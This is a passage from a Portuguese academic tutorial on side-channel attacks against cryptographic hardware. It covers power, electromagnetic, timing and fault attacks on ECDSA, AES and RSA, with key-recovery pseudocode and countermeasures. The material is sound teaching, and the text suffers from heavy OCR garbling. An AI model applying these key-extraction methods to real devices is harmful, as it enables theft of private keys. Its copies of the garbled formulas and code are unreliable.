sensores RFID (como os utilizados em passaportes digitais) poderiam ter sua seguraca
comprometida em ataques aplicados a uma distancia de até 15 metros.

1.3.4. Analise de falhas

Boneh, DeMillo e Lipton [Boneh et al. 2001a] apresentaram pela primeira vez ataques
em dispositivos explorando falhas na geracao das saidas dos programas. Eles mostraram
como era possivel induzir dispositivos embarcados a gerar saidas erradas durante a exe-
cucdo de uma assinatura RSA, e descobrir a chave privada.

A ocorréncia de erros enquanto um dispositivo realiza operacdes com a chave
privada gera mensagens erradas, mas capazes de oferecer informagdes substanciais para
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um adversario [Boneh et al. 2001b, Hankerson et al. 2003].

Esses erros podem ser inerentes aos dispositivos ou induzidos; logo, a implemen-
tacdo deve ser tolerante a falhas. Contudo, os dispositivos mais expostos a interferéncias
externas sdao os de menor capacidade de processamento; entdo, o desenvolvedor precisa
lidar com a dualidade da criacao de uma implementagdo robusta porém eficiente.

1.3.5. Analise de mensagens de erro

Durante o processo de encriptagdo com chaves publicas; por exemplo pelo algoritmo
ECIES [Hankerson et al. 2003], mensagens de erro podem ser geradas porque a entrada
ndo estava no formato adequado. Através de medi¢des precisas de tempo, o adver-
sério pode determinar o exato instante da ocorréncia de erros ou mesmo obter acesso
ao histdrico das ocorréncias de erro.

Essas informagdes podem ser suficientes para o adversario ser capaz de desvendar
a chave privada [Hankerson et al. 2003].

1.3.6. Analise de tempo

A premissa fundamental de ataques temporais € que o tempo gasto na execucao de uma
instrugdo € influenciado por seus respectivos operandos [Hankerson et al. 2003]. Estudos
mostraram [Brumley and Boneh 2003] a viabilidade desse ataque contra servidores exe-
cutando protocolos como o SSL com RSA devido a laténcia da comunica¢do decorrente
da rede local.

1.4. Exemplos de ataques
1.4.1. Analise simples de poténcia sobre ECDSA

Uma das rotinas mais executadas em dispositivos que utilizam ECC sdo os algoritmos de
assinatura digital de curvas elipticas (ECDSA ou Elliptic Curve Digital Signature Algo-
rithm), tendo como operagao central a multiplicacdo de um ponto por um escalar (Algo-
ritmo 1.4).

Algoritmo 1.4. Método NAF bindrio de multiplicacdo escalar de um ponto
Entrada: inteiro positivo ke P € E(F))
Saida: kP

01. Calcular (k;_,,k;_,,....k}, ki) < NAF (k)
02.Q«— 0O

03. Dei=1[1—1 até O faca

04. Q<20

05. Seki= lentdio Q«— Q+P

06. Sek,=—lentdio Q«— Q—P

07. Retorne Q

O que torna a forma nao adjacente de k mais interessante do que sua representagao
bindria é o fato da NAF (k) possuir apenas 1/3 de digitos ndo nulos. Conseqiientemente
uma quantidade muito menor de adicoes (linhas 5 e 6 do Algoritmo 1.4) sdo efetuadas.
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Figura 1.12. Consumo de poténcia durante calculo de kP [Hankerson et al. 2003].

Entretanto um adversario que soubesse que o dispositivo implementa um algo-
ritmo ECDSA poderia monitorar o consumo de poténcia do dispositivo utilizando um
osciloscépio, obtendo o grafico mostrado na Figura 1.12. No Algoritmo 1.4, vemos que
adi¢Oes sdo realizadas apenas quando k; # 0; logo, uma maior quantidade de poténcia é
despendida para digitos nao nulos. Portanto os intervalos curtos denominados D corre-
spondem a iteracdes em que k; = 0, enquanto intervalos longos denominados S correspon-
dem a iteracdes em que k; # 0. Essa informag@o torna viavel descobrir a chave através de
ataques por forga bruta, pois apenas 1/3 dos digitos sdo ndo nulos.

Medidas preventivas contra SPA

A solucdo mais simples contra SPA consiste em inserir operacdes redundantes no al-
goritmo de multiplicacdo (Algoritmo 1.6), de modo que a seqii€éncia de operagdes ele-
mentares envolvidas sejam realizadas em igual propor¢do. Comparando o novo power
trace obtido (Figura 1.13) ndo € possivel diferenciar adi¢des de multiplicacdes.

Algoritmo 1.6. Multiplicacio escalar de ponto resistente a SPA
Entrada: inteiro positivo ke P € E(F,)
Saida: kP

01. Qy«— O

02. Dei=1[1—1até 0 faca
03. Qv=200

04. 01=0Q0+P

05. Qo= 0

06. Retorne Qy

1.4.2. Analise diferencial de poténcia sobre ECDSA

Ainda que o Algoritmo 1.6 tenha sido adotado, podemos aplicar um DPA sobre o processo
de ECDSA.

Determinada uma varidvel V cujo valor influencie o consumo de poténcia e uma
fungdo de selegdo f tal que V = f(k',m) o adversdrio coleta milhares de power traces,
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Figura 1.13. Consumo de poténcia durante calculo de kP [Hankerson et al. 2003].

1 L

estima o tamanho que a por¢do k' ocupa na chave privada e separa os dados coletados em
dois grupos de acordo com o valor previsto de V.

No algoritmo de multiplicacao de pontos da curva eliptica (Algoritmo 1.6), suponha
que Eve colete power traces durante os calculos kP, kP, ...,kP, . Como P, P, ..., P, sdo
publicos, ele precisa determinar apenas k.

Qo | Qo | ki1 | Qo Ok, ,
110 | P 1 P

Tabela 1.2. Adversdrio conhece apenas k;—1 = 1.

Dado Qg = O, o passo 2.1 é trivial e pode ser distingiiir da de uma operagido nao
trivial através do power trace, logo o adversario pode facilmente identificar o bit mais a
esquerda cujo valor e 1 (Tabela 1.2). Tomando k;_; = 1, na segunda itera¢ao do algoritmo
temos que se k;_» = 0 entdo Qg = 2P; ou se k;_» = 1 entdo Qo = 4P (Tabela 1.3).

Qo | Qo | k1| Qo Ok, ,
110 | P 1 P
2P | 4P ? ?

Tabela 1.3. Se kg, entdo Qyp = 2P. Caso contrario Qg = 4P.

Conseqiientemente, na terceira iteracao, o valor 4P ser computado apenas se k;_»
0. Definindo k' = k;_» € m = P; (i-ésimo bit do ponto 4P = (4P;,4P,,...,4P,,...,4P,.,)), a
funcao seletora calcula o valor do bit 4P,. Se o grafico do consumo de poténcia da funcio
apresentar picos, entdo k;_p = 0, caso contrario k;,_» = 1. Esse processo € repetido até
todos os bits de k serem determinados [Hankerson et al. 2003].
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Qo | Qo | ki—1 | Qo Ok, ,

1|0 | P 1 P
2 |2P|4P | O 2P
3 |4P | 6P

Tabela 1.4. Nessa iteracdo, Qg = 4P se e somente se k;_p = 0.

Medidas preventivas

Se a curva eliptica for gerada sobre um [F;, de caracteristica superior a 3, podemos usar
um sistema misto de representacdo de coordenadas no qual P seja representado em um
sistema de coordenadas afins, enquanto Qg e Q1 sdo representados em coordenadas jaco-
bianas [Hankerson et al. 2003].

Se P = (x,y) no sistema afim, apés a primeira atribuicdo Q; < P terfamos Q| =
(x:y:1). Entdo, Q seria aleatorizado com (A2%x, A3y, 1) e o algoritmo procederia como o
usual. Desse modo o adversario estaria impedido de realizar predi¢des baseadas no valor
de um bit especifico 4P; em sistemas de coordenadas jacobianas aleatorizadas.

1.4.3. Analise eletromagnética de um PDA Java

Bibliotecas de seguranca das API Java SE e Java ME provém mecanismos de seguranca
(criptografia, controle de acesso, autenticidade, etc.) usualmente utilizados em algoritmos
e protocolos [Gong and Ellison 2003]. Quantidades crescentes de aplicativos baseadas
nessa tecnologia sdo utilizados em dispositivos moveis como celulares e PDAs. Por-
tanto, € necessdrio garantir que esses soffwares sejam resistentes a ataques por canais
secunddrios.

O estudo a seguir [Gebotys and White 2008] mostra a viabilidade de um ataque
eletromagnético em um PDA que possui uma implementacdo em Java do algoritmo AES.
Os passos desse método de ataque pode ser visto na Figura 1.14

Aquisicao dos sinais EM de todo o programa

O primeiro passo consiste em capturar conjuntos de sinais eletromagnéticos do dispositivo
enquanto ele executa um algoritmo criptografico, sendo um conjunto de sinais denomi-
nado frame ou trace. Para a obtenc¢ao dos frames, a unidade de processamento foi exposta
e ligada a um dispositivo de captura, que envia os sinais para um pré-amplificador antes
de serem lidos por um osciloscopio.

A captura de sinais deve levar em consideracao interferéncias de outros aplicativos
executados concorrentemente no PDA. Em algumas capturas, existem curtos periodos em
que a atividade eletromagnética praticamente cessa. Eles correspondem a instantes em
que o aplicativo que realiza o encriptacdo sofreu interrup¢des realizadas pelo sistema
operacional do PDA. Também vemos longos periodos sem atividade, correspondendo aos
instantes em que a thread do aplicativo foi colocada para dormir (sleep mode).
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Figura 1.14. Metodologia de caracterizacao (a) e ataque (b) do PDA
[Gebotys and White 2008].

0
O

Y

Oscilloscope

noon
noon
nooo
nooo

Trigger]
Signal EM Signal

I amplifier

Pre- ’

Figura 1.16. Emissao de sinais EM interrompida pelo sistema [Gebotys and White 2008].

Identificacdo das rodadas

As Figuras 1.17 (a) e (b) mostram os sinais eletromagnéticos adquiridos para a execugao
do AES com respectivamente 10 e 12 rodadas. Como cada rodada executa a mesma
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quantidade de instrugdes, entdo podem ser percebidos longos periodos de grande atividade
eletromagnética (as rodadas) separadas por curtos periodos de baixa atividade (acesso a
tabela S-Box).

1, 283456738 910

(b)

Figura 1.17. Identificacdo das rodadas do AES [Gebotys and White 2006].

optaes_92_emC100a.dat frame 4

Voltagem (V)

L h . .
10 20 30 40 50 60 70 80 %0 100
Tempo (ps)

Figura 1.18. Aquisicao do frame 4 [Gebotys and White 2008].

Adquirir sinais EM da primeira rodada

Para um texto claro 128 bits, apenas o byte mais significativo é alterado em cada uma das
iteragcdes do algoritmo. Tomando uma execu¢do do AES para uma chave privada k = 92,
o quarto frame capturado € mostrado na Figura 1.18. As quatro setas presentes no grafico
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optaes_92_emC100a.dat frame 4

optaes_92_emC100a.dat frame 4

02 2 -
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015 B b |E|F G H| 1 4 L 045 A B | ¢ p e [ L
|
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@ o005 £ o0s-
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> -01f 01
0.15 015
02 02
0.25+ 0.25
0 5 10 15 15 20 25 30
Tempo (ps) Tempo (ps)
(a) (b)
optaes_92_emC100a.dat frame 4 optaes_82_emC100a.dat frame 4
02 - 02
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S 01
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(c) (d)

Figura 1.19. Aquisicao do frame 4 na rodada 1, para grupos de 1 a 4
[Gebotys and White 2008].

sdo denominadas grupos e numerados de 1 a 4, sendo que eles correspondem aos quatro
acessos a tabela para a criagdo de #[0] (Figura 1.22, linha 6).

A Figura 1.19 mostra os quatro grupos da Figura 1.18 ampliados. Neles vemos 14
areas identificadas de A a N; entretanto apenas o frame 4 possui a regido N. Isso indica
que a regido N provavelmente é uma leitura no vetor ¢[ |.

Como o vetor possui quatro posi¢des, o comportamento esperado no osciloscopio
seria de 16 grupos seguidos de uma atividade magnética de escrita em memoria, assina-
lando o fim de uma rodada. Na Figura 1.20 (a) vemos o grupo 16 seguido das medigdes
das operagdes state| || | e AddRoundKey assinaladas respectivamente por circulos e retan-
gulos. Em seguida, vemos na Figura 1.20 (b) o comportamento descrito até agora se
repetindo, indicando o inicio da segunda rodada.

Identificar e extrair regiao de ataque na primeira rodada via Code Truncation

Uma vez identificado o frame da primeira rodada, primeiramente as regides de ataques
devem ser extraidas de cada frame automaticamente. Os autores desenvolveram um pro-
grama de reconhecimento de padroes [Russell and Norvig 2003] capaz de extrair e alinhar
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Figura 1.20. (a) Identificacao do término da primeira rodada e (b) inicio da se-
gunda rodada [Gebotys and White 2008].
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as regides de ataque de cada frame. Primeiramente o software aplica a fun¢do V*(¢) em
cada frame, tal que:

VA (e) = 1 se |V(r)|>0.04V
1 0 se [|V(r)] <0.04V

Para ilustrar o limiar, ao invés da captura ser realizada sobre uma implementacao
completa do AES, mas sobre uma versao truncada do AES, (o programa utiliza a funcio
optAEStrunc que realiza acesso apenas a regido ¢[0]). As figuras 1.21 (a) e 1.21 (b)
correspondem respectivamente a um frame de execugdo dessa versio e ao seu limiar.

Ap6s o thresholding, a regido de acesso ¢]0] é extraida para realizac@o do ataque. O
thresholding € transformado em regides de grande atividade (regides escuras) e regides de
baixa atividade (longos periodos de voltagens nulas). Na regido de interesse #[0] existem
diversos valores de tensdo 0 e 1 misturados. A maior quantidade de zeros contiguos nessa
regido determina o limitante inferior do pardmetro de tolerdancia. A menor quantidade de
zeros antes e depois da regido de interesse definem o limitante superior do pardmetro de
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Figura 1.21. (a)Area de ataque extraida do frame 3 e (b) resultado da DFA aplicado
sobre os sinais obtidos da versao truncada do AES[Gebotys and White 2008].

tolerdancia. O pardmetro de tolerdncia € um conjunto entre esses dois limitantes. O frame
de 0 e 1 € transformado em regides de baixa e alta atividade usando esse pardmetro de

tolerdncia (nesse caso 1000).

Ap0s a realizagdo do truncamento, os valores de tensao sdo separados do seguinte
modo:

e Uma regido contigua com 1000 ou mais zeros no frame € transformada em uma
regido de baixa atividade.

e Regides com menos do que 1000 zeros sdo inseridas em regides vizinhas de alta
atividade.

Desse modo ao invés de serem analisados 50 mil valores individuais de tensao,
o programa de reconhecimento de padrdes passa a lidar com 10 regides de baixa/alta
atividade, como mostra a tabela 1.5. Para os dados obtidos na caracteriza¢do, requer-se

que:

e Regides de baixa atividade ndo possuem de 2000 a 3000 amostragens.

e Regides de alta atividade vizinhas as de baixa atividade tenham no minimo 5000
amostragens.

Seguindo os critérios acima o terceiro indice da Tabela 1.5 € o escolhido.
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Escolher uma area estatica dentro regiao de ataque

Index | Inicio Fim | Limitante inferior | Limitante superior
01 | 5265 | 6434 1169 1973
02| 8371 | 9558 1187 1217
03 | 10775 | 13242 2467 6773
04 | 20015 | 22020 2005 3222
05 | 25242 | 27866 2624 1069
06 | 28935 | 31578 2643 1061
07 | 32639 | 35472 2833 515
08 | 35987 | 37742 1755 327
09 | 38069 | 39270 1201 513
10 | 39783 | 42751 2968 514
11 | 43265 | 45770 2505 907

Tabela 1.5. Thresholded Zeros para aquisi¢ao do frame.

Testes para o software sdo desenvolvidos para extrair a regido de alta atividade de
interesse, a qual € identificada pelo limitante inferior imediatamente antes da mesma e de
largura do acesso #[0] de interesse. Neste exemplo, regides de baixa atividade possuem
no minimo 2000 tensdes nulas e no maximo 3000, com as regides de alta atividade de
no minimo 5000 termos. Se mais de uma regido atende a esse critério, o adversario deve
escolher a primeira detectada. A secdo N foi escolhida para a andlise por ocorrer no final
de um frame (logo era uma forte candidata a corresponder, a uma regido de leitura da
tabela).

Foram analisados 32 frames e cada um deles foi dividido em Areas;. Alguns deles
ndo apresentaram todas as dreas; entretanto, a drea N estd presente em todos os frames
sendo por isso escolhida para o ataque.

Sexta etapa

Foram extraidas 100 amostras imediatamente ao fim da regido de ataque e 100 amostras
depois da regido de ataque, criando apenas 300 amostras por frame. A Figura 1.21 (a)
corresponde aos sinais extraidos da regidao N.

Frequency-based DEMA

Finalmente, € aplicado o frequency-based DEMA sobre o conjunto de sinais extraidos da
secdo N, revelando corretamente a chave secreta (Figura 1.21 (b)). Baseado nesse ataque
sobre a caracteriza¢do do PDA (que utilizou a versao truncada do AES), o adversario pode
aplicar o ataque sobre a versado real do algoritmo criptogréfico.
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public void optAES(byte[] in, byte[] out)

{

wCount = 0; Copy.copy(state, in); t[0] = 0; t[1] = 0; t[2] = 0; t[3] = 0;
AddRoundKey(state); // xor with expanded key

for (int round = 1; round < Nr; round++)

{ t[0] = tab.TeO(state[0][0]) * tab.Tel(state[1][1]) * tab.Te2(state|2][2]) * tab.Te3(state[3][3]);
t[1] = tab.TeO(state[1]]0]) ~ tab.Tel(state|2][1]) * tab.Te2(state[3][2]) * tab.Te3(state[0][3]);
t[2] = tab.TeO(state[2][0]) ~ tab.Tel(state[3][1]) * tab.Te2(state[0][2]) * tab.Te3(state[1][3]);
t[3] = tab.Te0(state[3][0]) ~ tab.Tel(state[0][1]) » tab.Te2(state[1][2])  tab.Te3(state[2][3]);
state[0][0] = (byte) (t[0] >> 24); state[1][0] = (byte) (t[0] >> 16);

state[2][0] = (byte) (t[0] >> 8); state[3][0] = (byte) (t[0]);
state[0][1] = (byte) (t[3] >> 16); state[1][1] = (byte) (t[3] >> 8);
state[2][1] = (byte) (t[3]); state[3][1] = (byte) (t[3] >> 24);
state[0][2] = (byte) (t[2] >> 8); state[1][2] = (byte) (t[2]);
state[2][2] = (byte) (t[2] >> 24); state[3][2] = (byte) (t[2] >> 16);
state[0][3] = (byte) (f[1]); state[1][3] = (byte) (t[1] >> 24);

state[2][3] = (byte) (t[1] >> 16); state[3][3] = (byte) (t[1] >> 8);
AddRoundKey(state); }// xor with expanded key

t[0] = (tab.Te4(state[2][3]) & OxffOO00L) ~ (tab.Ted(state[0][0]) & 0xff0O0000L) *
(tab.Ted(state[0][2]) & OxffOOL) ~ (tab.Ted(state[2][1]) & OxffL);

t[1] = (tab.Ted(state[3][2]) & OxffO000L) ~ (tab.Ted(state[1][3]) & 0xff000000L) »
(tab.Ted(state[1][1]) & OxffOOL) ~ (tab.Ted(state[3][0]) & OxffL),

t[2] = (tab.Ted(state[0][1]) & 0xffOO00L) * (tab.Ted(state[2][2]) & 0xff0OO0000L) »
(tab.Ted(state[2][0]) & OxffOOL) ~ (tab.Te4(state[0][3]) & OxffL);

t[3] = (tab.Ted(state[1][0]) & 0xffOO00L) * (tab.Te4(state[3][1]) & 0xffOO0000L) »
(tab.Ted(state[3][3]) & OxffOOL) ~ (tab.Te4d(state[1][2]) & OxffL);

state[0][0] = (byte) (t[0] >> 24); state[1][0] = (byte) (t[1] >> 8);

state[2][0] = (byte) (t[2] >> 24); state[3][0] = (byte) (t[3] >> 8);

state[0][1] = (byte) (t[2] >> 16); state[1][1] = (byte) (t[3]);

state[2][1] = (byte) (t[0] >> 16); state[3][1] = (byte) (t[1]);

state[0][2] = (byte) (t[0] >> 8); state[1][2] = (byte) (t[1] >> 24);

state[2][2] = (byte) (t[2] >> 8); state[3][2] = (byte) (t[3] >> 24);

state[0][3] = (byte) (t[2]); state[1][3] = (byte) (t[3] >> 16);

state[2][3] = (byte) (t[0]); state[3][3] = (byte) (t[1] >> 16);

AddRoundKey(state); Copy.copy(out, state); } // xor with expanded key

private void AddRoundKey(byte[][] state) // AddRoundKey: xor a portion of expanded key with state
{ for (int ¢ = 0; ¢ <Nb; ct++)
for (intr=0; r <4; r++)
state[r][c] = (byte)(state[r][c] " rkey[rkeyCount++]); }

Figura 1.22. Implementacao em Java do AES [Gebotys and White 2008].

Ataque real sobre o PDA

As sete etapas anteriores (Figura 1.14(a)) nos fornececam o método adequado para identi-
ficar a regido N como o alvo. Agora o adversario pode aplicar sobre a versao completa do
AES similiarmente, porém analisando apenas os sinais da regido de ataque (Figura 1.14

(b)). A versdo completa do AES executada novamente utilizando como chaves secretas
92,227, 61 e 158.

A Figura 1.23 (a) mostra o quarto frame capturado na execucao para k = 2. Nela
existem quatro regides similares aos acessos de memoria (¢[0],2[1],[3] e ¢[4]) da versdo
truncada do AES. Por fim a Figura 1.24 apresenta as quatro chaves mencionadas correta-
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mente recuperadas.
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Figura 1.23. (a)Area de ataque extraida do frame 4 e (b) resultado da DFA aplicado
sobre a os sinais obtidos da versao completa do AES [Gebotys and White 2008].

1.4.4. Analise de falhas sobre multiplicacio de pontos em curvas elipticas

Trabalhos anteriores [Ciet and Joye 2005] mostraram como seria possivel através de fal-
has no Algoritmo 1.7 gerar uma curva falha £ de modo que o cilculo de Q « kP fornecesse
informacdes que viabilizassem a resolucdo do problema do logaritmo discreto e permi-
tisse a descoberta de k. Contudo a medida de defesa contra esse ataque, mostrada no Algo-
ritmo 1.8, consiste simplesmente em verificar se o resultado obtido permanece na curva
E(F). A seguir serd apresentado uma metodologia desenvolvida por Johannes Blomer,
Martin Otto e Jean-Pierre Seifert em 2006 [Blomer et al. 2004] na qual € possivel inserir
falhas de modo que o resultado de Q < kP pertenga a E(IF) e a chave privada k seja
descoberta indutivamente.

Fundamentos

Os resultados apresentados por [Boneh et al. 2001b] foram utilizados [Blomer et al. 2004]
para definir a quantidade de multiplica¢des errdneas necessdrias para determinar correta-
mente a chave privada da seguinte forma:
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Figura 1.24. Chaves secretas (a) kK = 92, (b) k =227, (c) k=61 e (d) k =158
[Gebotys and White 2008].

Algoritmo 1.7. Multiplicacdo de pontos de curvas elipticas 2

Entrada: Inteiro positivo k, P € E(F)
Saida: kP

01. Calcular (k;—1,kn—2,...,ko) < NAF, (k)
02. 0, — O

03. De i« n—1 até 0 faca
04. Qi +20iy1

05. Sek; =1 entio

06. Qi — Q\+P

07. Ousek; =—1 entao
08. Qi—Q,—P

09. Sendo

10. 0; — Qi

11. Se Qo ¢ E(IF) entdo
12. Qo+ 0O

13. Retornar Qg
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Seja uma curva eliptica E(F ), para p > 3 primo. em um sistema de coordenadas
projetivas (x:y:z) € Ff,:

y3z = x> + Axz? + Bz’ mod p,

sendo o ponto no infinito representado por (0 : 1 : 0). Definidas as operagdes de adigdo e
multiplica¢io de ponto para essa equagado, temos:

VPOQcE(F,):P+Q0=(0:1:00—P=(x:y:z2)eQ=—P=(x:—y:2).

No Algoritmo 1.8 vemos que a multiplicacdo Q = kP ocorre da esquerda para a
direita. Os valores parcialmente calculados de Q até a iteracao i sdo armazenados em uma
varidvel tempordaria QQ. Desse modo, em uma execucdo correta da multiplicacio escalar,
o valor de Q expresso em fun¢do de Q/ é dado por:

i—1
Q=2'0i+ ) 2/k;P
j=0

Metodologia do ataque

Estudos realizados por [Boneh et al. 2001a] constataram o seguinte fato:

Seja x = (x1,x2, ..., Xy—1,%,) € {0, 1}e M um conjunto composto por todos os in-
tervalos contiguos de comprimento m < n em x. Se escolhermos ¢ = -~ log2n bits de x de
forma aleatdria, entdo a chance de cada intervalo de M conter ao menos um determinado
bit € de, no minimo, 50%. Desse modo a chave privada k serd recuperada em pedacos de
r € [1,m] bits, sendo 2" < #E(F,) a quantidade de trabalho offline aceitavel.

O ataque consiste em causar uma falha em uma das iteracdes da multiplicacdo de
modo a transformar o valor de Q; para —Q} € E(IF,,). Nesse sistemas de coordenadas
essa tarefa se tornaria mais simples, uma vez que seria necessario apenas trocar o sinal da
coordenada y do ponto. Se o adversdrio for capaz de causar uma falha tal que o durante
uma iteracdo i do Algoritmo 1.7 o valor do bit k; seja invertido, ao final do cdlculo seria
obtido um ponto expresso por

i
0=-2'0i+Y k2'P
Jj=0

Logo, isolando Q! na expressdes que definem Q e Q temos:

0 =—0+2Li(k)

sendo o termo L;(k) = 320 k j2j P € a parte desconhecida da equacao.
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O Algoritmo 1.8 descreve os passos para a recuperacao da chave privada k de com-
primento n. Supomos que (ko,kq,...,ks, X541, ..., Xs4r) corresponde a um NAF (k) vilido
e kn,—1 = 1, sendo a parcela (kg,ky,...,ks) correspondente aos s+ 1 bits menos significa-
tivos da chave conhecidos. O termo Zero Block Failures indica o fato de que erros em
blocos de zeros ndo serdo detectaveis como erros dentro de um bloco. Para qualquer s, se
ks = kg1 = ... = kgy, = 0 entdo Ly(k) = Lg(k) = ... = Lg(k) = 0. Como Q| = —Q + 2L
e 0» = —Q+ 2L, teriam o mesmo valor, seria impossivel determinar a quantidade de
zeros caso eles ocorressem na parte caudal de um bloco; portanto, para que o algoritmo
opere corretamente, os padrdes testados precisam terminar com +1.

Algoritmo 1.8. Ataque de mudanca se sinal sobre Q.
Entrada: P € E(F), k = (ky—1,kn—2,...,ko) € [1,0rd(P)]
Saida: kP € E(F)

01.# FASE 1: Criar saidas falhas

02. ¢ « - log2n

03. Criar ¢ saidas falhas induzindo SCF em Q!

04. Coletar um conjunto S de diversas saidas falhas Q

05.# FASE 2: Recuperagdo indutiva dos bits da chave secreta
06. s — —1

07. Enquanto s < n— 1 faga

08. L« 2Y% k;2/P

09.  Para todos os comprimentos r € [1,m] faca

10. Para todos NAF x = (xg41,X4+2, .-+, Xs4r) cOm X5, # 0 faca
11. # Calcular e verificar o candidato 7

12. T L+2Y550,  x2/P

13. Para todos os O € S faca

14. se T, — O = Q entio

15. (kst1yKst1y s Kstr) “ (X1, X542, -y Xstr)

16. S—s+r

17 # Caso Zero Block Failure

18. Se nenhum dos candidatos satisfizer a fase de verificagcdo, entdo
19. assumirque kg1 «—0es«—s+1

20. Se Q = kP entdo

21. retornar k

22. Senao

23.  retornar falha

Medidas preventivas

A medida preventiva aplicada em estudos anteriores [Boneh et al. 2001a] de falhas sobre
curvas elipticas ndo se mostrou eficiente para esse ataque. Tomando a curva eliptica
original E(FF,), a nova medida preventiva proposta consiste em escolher um niimero primo
pequeno 7 (60 a 80 bits) para formar uma segunda curva eliptica E (I, ) que serd combinada
com a original a fim de criar uma terceira curva E(F,;) sobre a qual serdo calculadas
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as multiplicacdes de ponto. Os pardmetros A, e By da curva eliptica no sistema de
coordenadas projetivas serdo definidos como:

Ap=A, (mod p)
Ap=4A; (modr)
By =B, (mod p)
By =B; (mod t)

e podem ser facilmente computados com auxilio do Teorema Chinés do Resto. Analoga-
mente, um novo ponto gerador Py, sendo que a ordemde P, € E (IF,) suficientemente larga
para evitar ataques de forca bruta. No Algoritmo 1.9 vemos que, caso ocorra uma falha
no célculo de R < kP, a congruéncia R = kP, (mod ¢) deixaria de ser valida e portando
seria detectada uma falha de execucao.

Algoritmo 1.9. Multiplicacdo de pontos de curvas elipticas com tratamento de falhas
Entrada: Inteiro positivo k, P € E(F)
Saida: kP

# Inicializacao antes da execucdo do algoritmo
01. Escolher um primo ¢ e uma curva eliptica E (F;)
02. Determinar os pardmetros da curva combinada E (Fj;)

# Multiplicacao

03. Q — kP, € E(F,,) # Usando Algoritmo 1.7
04. R — kP, € E(F,)  # Usando Algoritmo 1.7
05. Se R # Q (mod ¢) entdo

06. retornar falha

07. Senao

08. retornar Q € E(F),)

1.4.5. Analise de falhas sobre assinatura digital RSA

Como mostrado, anteriormente, a exponenciagdo modular € a base do funcionamento do
RSA sendo oss algoritmos que a implementam os mais diversos. O expoente pode ser
percorrido da direita para a esquerda ou vice-versa, a redu¢do modular pode ser simples
ou utilizar o Teorema Chinés do Resto [Stinson 2002] para torna-la mais rdpida, etc. O
ataque aqui demonstrado foi aplicado sobre uma implementacao percorrendo o expoente
da esquerda para a direita (Algoritmo 1.10).
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Algoritmo 1.10. Exponenciacio bindria da esquerda para a direita
Entrada: Inteiros positivos m,e e n
Saida: m® mod n

#e=(e—1,6-2,...,e1,€0)
01.r—1

02. De i« t—1 até 0 faca
03. r<—r’modn

04. See; =1 entdo

05. r<—rxmmodn
06. Retornar r

Sabendo que o dispositivo embarcado utiliza a implementagdo mencionada, o ad-
versario pode for¢é-lo saltar um squaring (linha 3 do Algoritmo 1.10) através de injecao
de falhas. Como ndo € possivel saber o exato instante em que a instrucdo estd sendo exe-
cutada, outras instrugdes podem sofrer um salto indesejado. Assim, o adversario também
deve ser capaz de verificar se a instrug¢do correta nio foi executada.

Seja a assinatura do resumo H (m) de uma mensagem m dada por

4 .
Sig — [TH(m)“** mod n
i=0

Para k € {0,1,...,¢}, ao saltarmos a (t — k + 1)-ésima iteracdo da exponenciagio
modular, obteremos uma assinatura falha Sig; tal que:

i ok ,-
Sigk — [1 H(m)%% % I—[H(m)d"Xz mod n
i=k+1 i=0

Como as falhas podem ser injetadas em qualquer ponto da execu¢ao do programa,
o adversdrio precisa:

1. Determinar um caso base de assinatura falha facilmente verificavel.
2. Que a verificacdo da falha informe ao menos um bit da chave secreta.
3. Que a assinatura falha seja obtida saltando apenas um squaring.

4. O caso base seja o passo inicial de um método indutivo.

Sendo que o expoente d € percorrido da esquerda para a direita, a Ginica assinatura
que poderia ser verificada dessa maneira é Sig , pois:

. (Sigo)? modn se dy=0,
Sig — { H(m)™ ! x (Sigg)> modn se dp=1
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Assim, Eve injetaria falhas até que em algum momento uma das igualdades acima
fosse verificada e automaticamente revelando o valor correto de dy. O processo de in-
jecao de saltos seria reiniciado até que todos os #,t — 1, — 2, ..., 1 bits restantes fossem
indutivamente revelados através da verificacdo da seguinte igualdade:

Si Sigr_1 modn se dy=0
— _
Bk H(m)zk ' Sigi_1 modn se dy=1

Medidas preventivas

Medidas preventivas contra ataques por insercdes usualmente consistem em inserir codi-
gos nas implementagdes a fim de inviabiliza-los. Porém, uma andlise mais profunda revela
que a injecdo de falhas pode ser estendida contra as préprias medidas de defesa. Conse-
giientemente ndo foi encontrada na literatura nenhuma medida de defesa que nao pudesse
ser invalidada.

Insercao de Coédigo Redundante

A medida de defesa contra andlise simples de poténcia consistia em inserir operacdes de
modo que a multiplicagdo deixasse de ser relacionada ao valor de um bit do expoente,
passando a ser sempre executada de maneira redundante. Mas o foco desse ataque ¢é a
saida gerada pelo dispositivo; entdo, essa medida de defesa em nada o afeta.

Ofuscar a mensagem

Vamos supor, por exemplo, que a entidade assine o proprio texto claro e nao seu resumo.
Primeiramente, a entidade escolhe valores aleatorios rg € r; tais que ry L rld mod n.
Entdo, ele ofusca a mensagem do seguinte modo:

W =m x r; mod n,

c :,ud mod 7.

Porém, a insercdo de falhas poderia ser estendia ao calculo de ut, impedindo que a
mensagem fosse multiplicada por r; e permitindo que o ataque descrito previamente fosse
aplicado com sucesso.

Ofuscar o expoente

Aqui a entidade usa para cifrar uma mensagem o expoente d' = d +r x ¢(n), sendo r
aleatorio. Aqui existem duas possibilidades:
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e O valor de d’ é armazenado no mesmo registrador que d; entdo, basta inserir uma
falha e impedir que a atribui¢do d’ + d ocorra.

e Se d’ é armazenado em um registrador diferente, o adversario pode impedir que o
célculo r x ¢ (n) seja realizado, fazendo com que d’ + d.

1.4.6. Analise de tempo sobre preditores de saltos

Atualmente ataques utilizando canais secundarios de informacdo tipicamente sao aplica-
dos sobre dispositivos embarcados. Essas plataformas sd@o os principais alvos de ACS
porque, comparadas com processadores convencionais, seu hardware de facil acesso per-
mite que as medidas de suas grandezas fisicas sejam efetuadas silenciosamente, i.e. em
sua maioria nao sdo invasivas e ndo interferem na execucao dos algoritmos criptograficos.
Acreditava-se que a andlise de tempo ndo era tdo ameacadora quanto os outros ataques
porque a duragdo das instru¢des tanto em smart cards como computadores convencionais
sdo da ordem de nanosegundos. Logo seria invidvel estabelecer uma relacdo de tempo
entre operando e operador.

A arquitetura intrinseca aos processadores convencionais (PowerPC, Cell, Intel
x86, ARM, etc.) impede medi¢des desse cardter. E impossivel acessarmos ndo inva-
sivamente valores contidos em registradores ou memdria cache referentes a programas
distintos que estao sendo executados em CPUs convencionais. Além disso essas platafor-
mas executam sistemas operacionais capazes de executar programas concorrentemente
(Windows, Linux, Symbian, PalmOS, etc.) e a troca de contexto desses processos faz
com que valores imprecisos sejam obtidos nas medi¢des. Poucos trabalhos até 2003
[Brumley and Boneh 2003] abordaram ACS como um risco real contra essas plataformas
